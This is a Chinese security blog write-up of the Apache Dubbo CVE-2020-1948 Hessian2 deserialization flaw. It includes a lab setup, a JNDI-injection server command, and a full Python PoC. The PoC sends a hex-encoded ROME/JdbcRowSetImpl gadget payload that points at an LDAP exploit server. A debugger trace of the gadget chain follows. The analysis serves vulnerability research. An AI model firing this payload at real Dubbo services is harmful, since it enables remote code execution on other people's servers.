Apache Dubbo(CVE-2020-1948)反序列化详细分析

阅读量    116069 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

之前的文章分析了Dubbo的一个反序列化漏洞-CVE-2019-17564,这次来分析一下另外一个dubbo的漏洞-CVE-2020-1948,加深对Dubbo反序列化利用的理解。这次两种利用方式,以其中一种为主,另外一种简单介绍一下。

 

0x01 关于Dubbo和CVE-2020-1948

Apache Dubbo是基于Java的高性能开源RPC框架。它提供了三大核心功能:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
附一张Dubbo架构:

1

Apache Dubbo 2.7.6或更低版本采用默认反序列化方式(Hessian2)实现反序列化,其中存在反序列化RCE漏洞。
攻击者可以发送未经验证的服务名或方法名的RPC请求,当服务端存在可以被利用的第三方库时,payload被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执行。

 

0x02 环境搭建

1.首先下载官方dubbo-spring-boot-project项目,并修改版本为漏洞版本2.7.6

2.然后修改pom文件,添加攻击依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

3.然后使用maven或者idea打包构建项目,并用较低版本的jdk启动Provier

4.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar生成JNDI链接并启动后端相关服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 127.0.0.1

5.编写POC.py包含恶意反序列化对象,反序列化后会访问JNDI利用链,并运行

import socket

def sendEvilObjData(sock):
    payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
    sock.send(payload.decode('hex'))

def run(dip,dport):
    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server_addr=(dip,dport)
    sock.connect(server_addr)
    sendEvilObjData(sock)

run("127.0.0.1",12345)

 

0x03 两种方式详细分析

第一种

首先在DecodeHandler#received下断点,可以看到使用了this.decode函数对request请求中的参数进行了解码处理

2

步入到this.decode函数后,再继续步入DecodeableRpcInvocation#decode,进行相关处理后,到达利用hessian2的readObject函数进行反序列化处

3

4

步入Hessian2Input#readObject,根据相应的tag进行数据处理,最后进入到reader.readMap函数

5

在readMap中进行更加详细的数据处理后,调用doReadMap函数

6

在doReadMap函数中,调用map.put方法,然后通过HashMap触发对应的hashCode方法实现反序列化

7

步入到EqualsBean#hashCode函数,可以看到最后又调用了toString()

8

步入后进入到ToStringBean#toString(),之后继续调用本类一个参数的toString(String prefix)函数

9

在toString(String prefix)中,在获取到对象的属性和方法后,会通过java实现的invoke方法动态调用传入对象的所有方法对象,我们的恶意代码也会执行,造成RCE

10

第二种

这种方式主要利用了当正常的Dubbo调用找不到service时会爆出异常,并且没有对rome的ToStringBean类进行黑名单处理,因此在抛出异常输出这个对象信息时隐式调用了其toString方法,最终也是进入到toString(String prefix)中执行恶意代码。

11

12

13

14

 

0x04 结语

本文我们详细的跟踪了CVE-2020-1948的利用过程,相信对于Java反序列化以及Dubbo的反序列化的利用已经非常清楚了。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多